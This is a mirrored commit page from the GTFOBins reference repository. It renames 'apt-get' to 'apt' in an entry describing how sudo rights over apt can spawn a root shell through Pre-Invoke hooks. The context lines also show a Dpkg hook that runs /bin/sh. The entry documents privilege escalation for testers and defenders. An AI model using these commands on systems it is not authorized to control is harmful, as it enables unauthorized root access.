mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Fix apt sudo shell
This commit is contained in:
parent
21f760676c
commit
bab4250775
@ -16,5 +16,5 @@ functions:
|
||||
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
|
||||
sudo apt install -c $TF sl
|
||||
- description: When the shell exits the `update` command is actually executed.
|
||||
code: sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
|
||||
code: sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user